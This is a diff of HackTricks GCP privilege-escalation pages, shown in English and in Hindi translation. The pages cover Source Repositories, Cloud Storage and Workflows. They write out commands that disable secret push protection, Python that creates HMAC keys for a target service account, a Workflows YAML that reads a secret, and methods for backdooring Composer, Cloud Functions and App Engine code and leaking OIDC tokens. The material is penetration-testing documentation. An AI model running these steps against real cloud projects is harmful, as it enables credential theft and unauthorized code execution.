||||
### `source.repos.update`
|
||||
|
||||
A principal with this permission **will be able to write code inside a repository cloned with `gcloud source repos clone <repo>`**. But note that this permission cannot be attached to custom roles, so it must be given via a predefined role like:
|
||||
इस अनुमति के साथ एक प्रमुख **`gcloud source repos clone <repo>`** के साथ क्लोन किए गए रिपॉजिटरी के अंदर कोड लिखने में सक्षम होगा। लेकिन ध्यान दें कि यह अनुमति कस्टम भूमिकाओं से संलग्न नहीं की जा सकती, इसलिए इसे पूर्वनिर्धारित भूमिका जैसे दिया जाना चाहिए:
|
||||
|
||||
- Owner
|
||||
- Editor
|
||||
- Source Repository Administrator (`roles/source.admin`)
|
||||
- Source Repository Writer (`roles/source.writer`)
|
||||
- मालिक
|
||||
- संपादक
|
||||
- स्रोत रिपॉजिटरी प्रशासक (`roles/source.admin`)
|
||||
- स्रोत रिपॉजिटरी लेखक (`roles/source.writer`)
|
||||
|
||||
To write just perform a regular **`git push`**.
|
||||
लिखने के लिए बस एक नियमित **`git push`** करें।
|
||||
|
||||
### `source.repos.setIamPolicy`
|
||||
|
||||
With this permission an attacker could grant himself the previous permissions.
|
||||
इस अनुमति के साथ एक हमलावर अपने लिए पिछले अनुमतियों को प्रदान कर सकता है।
|
||||
|
||||
### Secret access
|
||||
|
||||
If the attacker has **access to the secrets** where the tokens are stored, he will be able to steal them. For more info about how to access a secret check:
|
||||
यदि हमलावर के पास **गुप्तों तक पहुंच** है जहाँ टोकन संग्रहीत हैं, तो वह उन्हें चुरा सकेगा। गुप्त तक पहुँचने के तरीके के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-secretmanager-privesc.md
|
||||
@@ -43,49 +41,39 @@ gcp-secretmanager-privesc.md
|
||||
|
||||
### Add SSH keys
|
||||
|
||||
It's possible to **add ssh keys to the Source Repository project** in the web console. It makes a post request to **`/v1/sshKeys:add`** and can be configured in [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
|
||||
|
||||
Once your ssh key is set, you can access a repo with:
|
||||
यह **Source Repository प्रोजेक्ट में ssh कुंजी जोड़ना संभव है** वेब कंसोल में। यह **`/v1/sshKeys:add`** पर एक पोस्ट अनुरोध करता है और इसे [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) पर कॉन्फ़िगर किया जा सकता है।
|
||||
|
||||
एक बार जब आपकी ssh कुंजी सेट हो जाती है, तो आप एक रिपॉजिटरी तक पहुँच सकते हैं:
|
||||
```bash
|
||||
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
|
||||
```
|
||||
|
||||
And then use **`git`** commands are per usual.
|
||||
|
||||
### Manual Credentials
|
||||
|
||||
It's possible to create manual credentials to access the Source Repositories:
|
||||
यह मैन्युअल क्रेडेंशियल्स बनाने के लिए संभव है ताकि Source Repositories तक पहुंचा जा सके:
|
||||
|
||||
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Clicking on the first link it will direct you to [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
|
||||
पहले लिंक पर क्लिक करने से आपको [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) पर ले जाया जाएगा
|
||||
|
||||
Which will prompt an **Oauth authorization prompt** to give access to **Google Cloud Development**. So you will need either the **credentials of the user** or an **open session in the browser** for this.
|
||||
जो **Oauth प्राधिकरण प्रॉम्प्ट** को प्रदर्शित करेगा ताकि **Google Cloud Development** तक पहुंच प्रदान की जा सके। इसलिए आपको या तो **उपयोगकर्ता के क्रेडेंशियल्स** की आवश्यकता होगी या इसके लिए **ब्राउज़र में एक खुला सत्र** होना चाहिए।
|
||||
|
||||
This will send you to a page with a **bash script to execute** and configure a git cookie in **`$HOME/.gitcookies`**
|
||||
यह आपको एक पृष्ठ पर भेजेगा जिसमें **एक bash स्क्रिप्ट निष्पादित करने के लिए** और **`$HOME/.gitcookies`** में एक git कुकी कॉन्फ़िगर करने के लिए है।
|
||||
|
||||
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Executing the script you can then use git clone, push... and it will work.
|
||||
स्क्रिप्ट को निष्पादित करने के बाद आप git clone, push... का उपयोग कर सकते हैं और यह काम करेगा।
|
||||
|
||||
### `source.repos.updateProjectConfig`
|
||||
|
||||
With this permission it's possible to disable Source Repositories default protection to not upload code containing Private Keys:
|
||||
|
||||
इस अनुमति के साथ, यह संभव है कि Source Repositories की डिफ़ॉल्ट सुरक्षा को अक्षम किया जा सके ताकि प्राइवेट कीज़ वाले कोड को अपलोड न किया जा सके:
|
||||
```bash
|
||||
gcloud source project-configs update --disable-pushblock
|
||||
```
|
||||
|
||||
You can also configure a different pub/sub topic or even disable it completely:
|
||||
|
||||
आप एक अलग pub/sub विषय को भी कॉन्फ़िगर कर सकते हैं या इसे पूरी तरह से बंद कर सकते हैं:
|
||||
```bash
|
||||
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
|
||||
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage
|
||||
|
||||
Basic Information:
|
||||
मूल जानकारी:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,18 +12,18 @@ Basic Information:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
This permission allows you to **download files stored inside Cloud Storage**. This will potentially allow you to escalate privileges because in some occasions **sensitive information is saved there**. Moreover, some GCP services stores their information in buckets:
|
||||
यह अनुमति आपको **Cloud Storage के अंदर संग्रहीत फ़ाइलों को डाउनलोड करने** की अनुमति देती है। यह संभावित रूप से आपको विशेषाधिकार बढ़ाने की अनुमति देगी क्योंकि कुछ अवसरों पर **संवेदनशील जानकारी वहाँ सहेजी जाती है**। इसके अलावा, कुछ GCP सेवाएँ अपनी जानकारी बकेट में संग्रहीत करती हैं:
|
||||
|
||||
- **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code.
|
||||
- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **search for leaks and/or source code**.
|
||||
- **GCP Composer**: जब आप एक Composer Environment बनाते हैं, तो **सभी DAGs का कोड** एक **बकेट** के अंदर सहेजा जाएगा। इन कार्यों में उनके कोड के अंदर दिलचस्प जानकारी हो सकती है।
|
||||
- **GCR (Container Registry)**: कंटेनरों की **छवि** **बकेट** के अंदर संग्रहीत होती है, जिसका अर्थ है कि यदि आप बकेट को पढ़ सकते हैं, तो आप छवियों को डाउनलोड कर सकेंगे और **लीक और/या स्रोत कोड** के लिए खोज कर सकेंगे।
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
You can give you permission to **abuse any of the previous scenarios of this section**.
|
||||
आपको **इस अनुभाग के पिछले परिदृश्यों में से किसी का दुरुपयोग करने** की अनुमति दे सकते हैं।
|
||||
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
For an example on how to modify permissions with this permission check this page:
|
||||
इस अनुमति के साथ अनुमतियों को संशोधित करने के लिए एक उदाहरण के लिए इस पृष्ठ की जांच करें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
@@ -31,8 +31,7 @@ For an example on how to modify permissions with this permission check this page
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Cloud Storage's "interoperability" feature, designed for **cross-cloud interactions** like with AWS S3, involves the **creation of HMAC keys for Service Accounts and users**. An attacker can exploit this by **generating an HMAC key for a Service Account with elevated privileges**, thus **escalating privileges within Cloud Storage**. While user-associated HMAC keys are only retrievable via the web console, both the access and secret keys remain **perpetually accessible**, allowing for potential backup access storage. Conversely, Service Account-linked HMAC keys are API-accessible, but their access and secret keys are not retrievable post-creation, adding a layer of complexity for continuous access.
|
||||
|
||||
Cloud Storage की "इंटरऑपरेबिलिटी" विशेषता, जो **AWS S3 जैसे क्रॉस-क्लाउड इंटरैक्शन** के लिए डिज़ाइन की गई है, **सेवा खातों और उपयोगकर्ताओं के लिए HMAC कुंजी बनाने** में शामिल है। एक हमलावर इसका लाभ उठा सकता है **उच्च विशेषाधिकार वाले सेवा खाते के लिए HMAC कुंजी उत्पन्न करके**, इस प्रकार **Cloud Storage के भीतर विशेषाधिकार बढ़ाना**। जबकि उपयोगकर्ता से संबंधित HMAC कुंजी केवल वेब कंसोल के माध्यम से पुनः प्राप्त की जा सकती हैं, दोनों एक्सेस और गुप्त कुंजी **सदा के लिए सुलभ** रहती हैं, जिससे संभावित बैकअप एक्सेस स्टोरेज की अनुमति मिलती है। इसके विपरीत, सेवा खाता से जुड़े HMAC कुंजी API-सुलभ होते हैं, लेकिन उनकी एक्सेस और गुप्त कुंजी निर्माण के बाद पुनः प्राप्त नहीं की जा सकती, जिससे निरंतर पहुँच के लिए जटिलता का एक स्तर जुड़ता है।
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -44,8 +43,8 @@ ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
|
||||
import requests
|
||||
import json
|
||||
key = requests.post(
|
||||
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
|
||||
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
|
||||
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
|
||||
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
|
||||
).json()
|
||||
#print(json.dumps(key, indent=4))
|
||||
print(f'ID: {key["metadata"]["accessId"]}')
|
||||
@@ -62,60 +61,55 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
## `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
In order to **create a new object** inside a bucket you need `storage.objects.create` and, according to [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), you need also `storage.objects.delete` to **modify** an existent object.
|
||||
एक बकेट के अंदर **नया ऑब्जेक्ट बनाने** के लिए आपको `storage.objects.create` की आवश्यकता है और, [दस्तावेज़ों](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions) के अनुसार, आपको एक मौजूदा ऑब्जेक्ट को **संशोधित** करने के लिए `storage.objects.delete` की भी आवश्यकता है।
|
||||
|
||||
A very **common exploitation** of buckets where you can write in cloud is in case the **bucket is saving web server files**, you might be able to **store new code** that will be used by the web application.
|
||||
क्लाउड में लिखने के लिए बकेट का एक बहुत **सामान्य शोषण** तब होता है जब **बकेट वेब सर्वर फ़ाइलों को सहेज रहा है**, आप **नया कोड स्टोर** करने में सक्षम हो सकते हैं जो वेब एप्लिकेशन द्वारा उपयोग किया जाएगा।
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** is **Apache Airflow** managed inside GCP. It has several interesting features:
|
||||
**Composer** **Apache Airflow** है जो GCP के अंदर प्रबंधित है। इसमें कई दिलचस्प विशेषताएँ हैं:
|
||||
|
||||
- It runs inside a **GKE cluster**, so the **SA the cluster uses is accessible** by the code running inside Composer
|
||||
- All the components of a composer environments (**code of DAGs**, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
|
||||
- यह एक **GKE क्लस्टर** के अंदर चलता है, इसलिए **क्लस्टर द्वारा उपयोग किया जाने वाला SA कोड के द्वारा पहुंच योग्य है जो Composer के अंदर चल रहा है**
|
||||
- Composer वातावरण के सभी घटक (**DAGs का कोड**, प्लगइन्स और डेटा) एक GCP बकेट के अंदर संग्रहीत होते हैं। यदि हमलावर के पास इसके ऊपर पढ़ने और लिखने की अनुमति है, तो वह बकेट की निगरानी कर सकता है और **जब भी एक DAG बनाया या अपडेट किया जाता है, एक बैकडोर संस्करण सबमिट कर सकता है** ताकि Composer वातावरण स्टोरेज से बैकडोर संस्करण प्राप्त कर सके।
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**आप इस हमले का PoC इस रिपॉजिटरी में पा सकते हैं:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions code is stored in Storage and whenever a new version is created the code is pushed to the bucket and then the new container is build from this code. Therefore, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**.
|
||||
- Cloud Functions का कोड स्टोरेज में संग्रहीत होता है और जब भी एक नया संस्करण बनाया जाता है, कोड बकेट में पुश किया जाता है और फिर नए कंटेनर का निर्माण इस कोड से किया जाता है। इसलिए, **नए संस्करण के निर्माण से पहले कोड को ओवरराइट करना क्लाउड फ़ंक्शन को मनमाना कोड निष्पादित करने के लिए संभव बनाता है**।
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**आप इस हमले का PoC इस रिपॉजिटरी में पा सकते हैं:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine versions generate some data inside a bucket with the format name: `staging.<project-id>.appspot.com`. Inside this bucket, it's possible to find a folder called `ae` that will contain a folder per version of the AppEngine app and inside these folders it'll be possible to find the `manifest.json` file. This file contains a json with all the files that must be used to create the specific version. Moreover, it's possible to find the **real names of the files, the URL to them inside the GCP bucket (the files inside the bucket changed their name for their sha1 hash) and the sha1 hash of each file.**
|
||||
AppEngine संस्करण एक बकेट के अंदर कुछ डेटा उत्पन्न करते हैं जिसका प्रारूप नाम है: `staging.<project-id>.appspot.com`। इस बकेट के अंदर, एक फ़ोल्डर पाया जा सकता है जिसे `ae` कहा जाता है, जिसमें AppEngine ऐप के प्रत्येक संस्करण के लिए एक फ़ोल्डर होगा और इन फ़ोल्डरों के अंदर `manifest.json` फ़ाइल पाई जा सकती है। इस फ़ाइल में एक json होता है जिसमें सभी फ़ाइलें होती हैं जो विशिष्ट संस्करण बनाने के लिए उपयोग की जानी चाहिए। इसके अलावा, **फ़ाइलों के वास्तविक नाम, GCP बकेट के अंदर उनके लिए URL (बकेट के अंदर फ़ाइलों ने अपने नाम को उनके sha1 हैश के लिए बदल दिया) और प्रत्येक फ़ाइल का sha1 हैश पाया जा सकता है।**
|
||||
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
_ध्यान दें कि इस बकेट को पूर्व-टेकओवर करना संभव नहीं है क्योंकि GCP उपयोगकर्ताओं को appspot.com डोमेन नाम का उपयोग करके बकेट बनाने के लिए अधिकृत नहीं किया गया है।_
|
||||
|
||||
However, with read & write access over this bucket, it's possible to escalate privileges to the SA attached to the App Engine version by monitoring the bucket and any time a change is performed (new version), modify the new version as fast as possible. This way, the container that gets created from this code will execute the backdoored code.
|
||||
हालांकि, इस बकेट पर पढ़ने और लिखने की पहुंच के साथ, यह App Engine संस्करण से जुड़े SA के लिए विशेषाधिकार बढ़ाना संभव है बकेट की निगरानी करके और जब भी कोई परिवर्तन किया जाता है (नया संस्करण), नए संस्करण को यथाशीघ्र संशोधित करना। इस तरह, इस कोड से बनाए गए कंटेनर में बैकडोर कोड निष्पादित होगा।
|
||||
|
||||
The mentioned attack can be performed in a lot of different ways, all of them start by monitoring the `staging.<project-id>.appspot.com` bucket:
|
||||
उल्लेखित हमला कई अलग-अलग तरीकों से किया जा सकता है, सभी की शुरुआत `staging.<project-id>.appspot.com` बकेट की निगरानी से होती है:
|
||||
|
||||
- Upload the complete new code of the AppEngine version to a different and available bucket and prepare a **`manifest.json` file with the new bucket name and sha1 hashes of them**. Then, when a new version is created inside the bucket, you just need to modify the `manifest.json` file and upload the malicious one.
|
||||
- Upload a modified `requirements.txt` version that will use a the **malicious dependencies code and update the `manifest.json`** file with the new filename, URL and the hash of it.
|
||||
- Upload a **modified `main.py` or `app.yaml` file that will execute the malicious code** and update the `manifest.json` file with the new filename, URL and the hash of it.
|
||||
- AppEngine संस्करण का पूरा नया कोड एक अलग और उपलब्ध बकेट में अपलोड करें और **`manifest.json` फ़ाइल को नए बकेट नाम और उनके sha1 हैश के साथ तैयार करें**। फिर, जब बकेट के अंदर एक नया संस्करण बनाया जाता है, तो आपको केवल `manifest.json` फ़ाइल को संशोधित करना है और दुर्भावनापूर्ण फ़ाइल अपलोड करनी है।
|
||||
- एक संशोधित `requirements.txt` संस्करण अपलोड करें जो **दुर्भावनापूर्ण निर्भरताओं के कोड का उपयोग करेगा और `manifest.json`** फ़ाइल को नए फ़ाइल नाम, URL और इसके हैश के साथ अपडेट करेगा।
|
||||
- एक **संशोधित `main.py` या `app.yaml` फ़ाइल अपलोड करें जो दुर्भावनापूर्ण कोड निष्पादित करेगी** और `manifest.json` फ़ाइल को नए फ़ाइल नाम, URL और इसके हैश के साथ अपडेट करेगी।
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**आप इस हमले का PoC इस रिपॉजिटरी में पा सकते हैं:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** stores the images inside buckets, if you can **write those buckets** you might be able to **move laterally to where those buckets are being run.**
|
||||
- The bucket used by GCR will have an URL similar to `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
- **Google Container Registry** बकेट के अंदर छवियों को संग्रहीत करता है, यदि आप **उन बकेट्स में लिख सकते हैं** तो आप **उन बकेट्स के चलने के स्थान पर आगे बढ़ने में सक्षम हो सकते हैं।**
|
||||
- GCR द्वारा उपयोग किया जाने वाला बकेट एक URL के समान होगा `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (शीर्ष स्तर के उपडोमेन [यहां](https://cloud.google.com/container-registry/docs/pushing-and-pulling) निर्दिष्ट हैं)।
|
||||
|
||||
> [!TIP]
|
||||
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
|
||||
> यह सेवा अप्रचलित है इसलिए यह हमला अब उपयोगी नहीं है। इसके अलावा, आर्टिफैक्ट रजिस्ट्री, जो इस सेवा का स्थानापन्न है, बकेट में छवियों को संग्रहीत नहीं करती है।
|
||||
|
||||
## **References**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+49
-63
@@ -4,7 +4,7 @@
|
||||
|
||||
## Workflows
|
||||
|
||||
Basic Information:
|
||||
मूल जानकारी:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-workflows-enum.md
|
||||
@@ -12,40 +12,35 @@ Basic Information:
|
||||
|
||||
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
|
||||
|
||||
Afaik it's not possible to get a shell with access to the metadata endpoint containing the SA credentials of the SA attacked to a Workflow. However, it's possible to abuse the permissions of the SA by adding the actions to perform inside the Workflow.
|
||||
मेरी जानकारी के अनुसार, यह संभव नहीं है कि एक शेल प्राप्त किया जाए जिसमें उस मेटाडेटा एंडपॉइंट तक पहुंच हो जिसमें उस Workflow से जुड़े SA के क्रेडेंशियल्स हों। हालांकि, Workflow के अंदर प्रदर्शन करने के लिए क्रियाओं को जोड़कर SA की अनुमतियों का दुरुपयोग करना संभव है।
|
||||
|
||||
It's possible to find the documentation of the connectors. For example, this is the [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** In the side bar it's possible to find several other connectors.
|
||||
|
||||
And here you can find an example of a connector that prints a secret:
|
||||
कनेक्टर्स की दस्तावेज़ीकरण ढूंढना संभव है। उदाहरण के लिए, यह [**Secretmanager कनेक्टर का पृष्ठ**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)** है।** साइड बार में कई अन्य कनेक्टर्स मिल सकते हैं।
|
||||
|
||||
और यहाँ आप एक कनेक्टर का उदाहरण देख सकते हैं जो एक रहस्य प्रिंट करता है:
|
||||
```yaml
|
||||
main:
|
||||
params: [input]
|
||||
steps:
|
||||
- access_string_secret:
|
||||
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
|
||||
args:
|
||||
secret_id: secret_name
|
||||
version: 1
|
||||
project_id: project-id
|
||||
result: str_secret
|
||||
- returnOutput:
|
||||
return: "${str_secret}"
|
||||
params: [input]
|
||||
steps:
|
||||
- access_string_secret:
|
||||
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
|
||||
args:
|
||||
secret_id: secret_name
|
||||
version: 1
|
||||
project_id: project-id
|
||||
result: str_secret
|
||||
- returnOutput:
|
||||
return: "${str_secret}"
|
||||
```
|
||||
|
||||
Update from the CLI:
|
||||
|
||||
CLI से अपडेट:
|
||||
```bash
|
||||
gcloud workflows deploy <workflow-name> \
|
||||
--service-account=email@SA \
|
||||
--source=/path/to/config.yaml \
|
||||
--location us-central1
|
||||
--service-account=email@SA \
|
||||
--source=/path/to/config.yaml \
|
||||
--location us-central1
|
||||
```
|
||||
यदि आपको `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` जैसी त्रुटि मिलती है, तो बस **एक मिनट प्रतीक्षा करें और फिर से प्रयास करें**।
|
||||
|
||||
If you get an error like `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, just **wait a minute and try again**.
|
||||
|
||||
If you don't have web access it's possible to trigger and see the execution of a Workflow with:
|
||||
|
||||
यदि आपके पास वेब एक्सेस नहीं है, तो एक वर्कफ़्लो को ट्रिगर करना और उसकी कार्यान्वयन को देखना संभव है:
|
||||
```bash
|
||||
# Run execution with output
|
||||
gcloud workflows run <workflow-name> --location us-central1
|
||||
@@ -59,53 +54,44 @@ gcloud workflows executions list <workflow-name>
|
||||
# Get execution info and output
|
||||
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> आप संवेदनशील जानकारी की तलाश के लिए पिछले निष्पादन के आउटपुट की भी जांच कर सकते हैं
|
||||
|
||||
ध्यान दें कि भले ही आपको `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` जैसी त्रुटि मिले क्योंकि आपके पास वह अनुमति नहीं है, कार्यप्रवाह उत्पन्न हो चुका है।
|
||||
|
||||
### OIDC टोकन लीक (और OAuth?)
|
||||
|
||||
[**दस्तावेज़ों के अनुसार**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) यह संभव है कि कार्यप्रवाह चरणों का उपयोग किया जाए जो OAuth या OIDC टोकन के साथ HTTP अनुरोध भेजेंगे। हालाँकि, [Cloud Scheduler](gcp-cloudscheduler-privesc.md) के मामले की तरह, Oauth टोकन के साथ HTTP अनुरोध को होस्ट `.googleapis.com` पर होना चाहिए।
|
||||
|
||||
> [!CAUTION]
|
||||
> You can also check the output of previous executions to look for sensitive information
|
||||
|
||||
Note that even if you get an error like `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` because you don't have that permission, the workflow has been generated.
|
||||
|
||||
### Leak OIDC token (and OAuth?)
|
||||
|
||||
According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of [Cloud Scheduler](gcp-cloudscheduler-privesc.md), the HTTP request with the Oauth token must be to the host `.googleapis.com`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, it's **possible to leak the OIDC token by indicating a HTTP endpoint** controlled by the user but to leak the **OAuth** token you would **need a bypass** for that protection. However, you are still able to **contact any GCP api to perform actions on behalf the SA** using either connectors or HTTP requests with the OAuth token.
|
||||
> इसलिए, यह **संभव है कि OIDC टोकन को उपयोगकर्ता द्वारा नियंत्रित HTTP एंडपॉइंट को इंगित करके लीक किया जाए** लेकिन **OAuth** टोकन को लीक करने के लिए आपको उस सुरक्षा के लिए **बायपास** की आवश्यकता होगी। हालाँकि, आप अभी भी **SA की ओर से कार्य करने के लिए किसी भी GCP API से संपर्क कर सकते हैं** या तो कनेक्टर्स या OAuth टोकन के साथ HTTP अनुरोधों का उपयोग करके।
|
||||
|
||||
#### Oauth
|
||||
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.post
|
||||
args:
|
||||
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
|
||||
auth:
|
||||
type: OAuth2
|
||||
scopes: OAUTH_SCOPE
|
||||
- step_A:
|
||||
call: http.post
|
||||
args:
|
||||
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
|
||||
auth:
|
||||
type: OAuth2
|
||||
scopes: OAUTH_SCOPE
|
||||
```
|
||||
|
||||
#### OIDC
|
||||
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.get
|
||||
args:
|
||||
url: https://us-central1-project.cloudfunctions.net/functionA
|
||||
query:
|
||||
firstNumber: 4
|
||||
secondNumber: 6
|
||||
operation: sum
|
||||
auth:
|
||||
type: OIDC
|
||||
audience: OIDC_AUDIENCE
|
||||
- step_A:
|
||||
call: http.get
|
||||
args:
|
||||
url: https://us-central1-project.cloudfunctions.net/functionA
|
||||
query:
|
||||
firstNumber: 4
|
||||
secondNumber: 6
|
||||
operation: sum
|
||||
auth:
|
||||
type: OIDC
|
||||
audience: OIDC_AUDIENCE
|
||||
```
|
||||
|
||||
### `workflows.workflows.update` ...
|
||||
|
||||
With this permission instead of `workflows.workflows.create` it's possible to update an already existing workflow and perform the same attacks.
|
||||
इस अनुमति के साथ `workflows.workflows.create` के बजाय, एक पहले से मौजूद वर्कफ़्लो को अपडेट करना और वही हमले करना संभव है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GCP - Services
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# GCP - सेवाएँ
|
||||
|
||||
@@ -4,10 +4,9 @@
|
||||
|
||||
## [AI Platform](https://cloud.google.com/sdk/gcloud/reference/ai-platform/) <a href="#reviewing-ai-platform-configurations" id="reviewing-ai-platform-configurations"></a>
|
||||
|
||||
Google [**AI Platform**](https://cloud.google.com/ai-platform/) is another "**serverless**" offering for **machine learning projects**.
|
||||
|
||||
There are a few areas here you can look for interesting information like models and jobs.
|
||||
Google [**AI Platform**](https://cloud.google.com/ai-platform/) **मशीन लर्निंग प्रोजेक्ट्स** के लिए एक और "**सर्वरलेस**" पेशकश है।
|
||||
|
||||
यहाँ कुछ क्षेत्र हैं जहाँ आप मॉडल और नौकरियों जैसी दिलचस्प जानकारी के लिए देख सकते हैं।
|
||||
```bash
|
||||
# Models
|
||||
gcloud ai-platform models list
|
||||
@@ -18,9 +17,4 @@ gcloud ai-platform models get-iam-policy <model>
|
||||
gcloud ai-platform jobs list
|
||||
gcloud ai-platform jobs describe <job>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,24 +4,22 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
In Google Cloud Platform (GCP), API keys are a simple encrypted string that **identifies an application without any principa**l. They are used to **access Google Cloud APIs** that do not require user context. This means they are often used in scenarios where the application is accessing its own data rather than user data.
|
||||
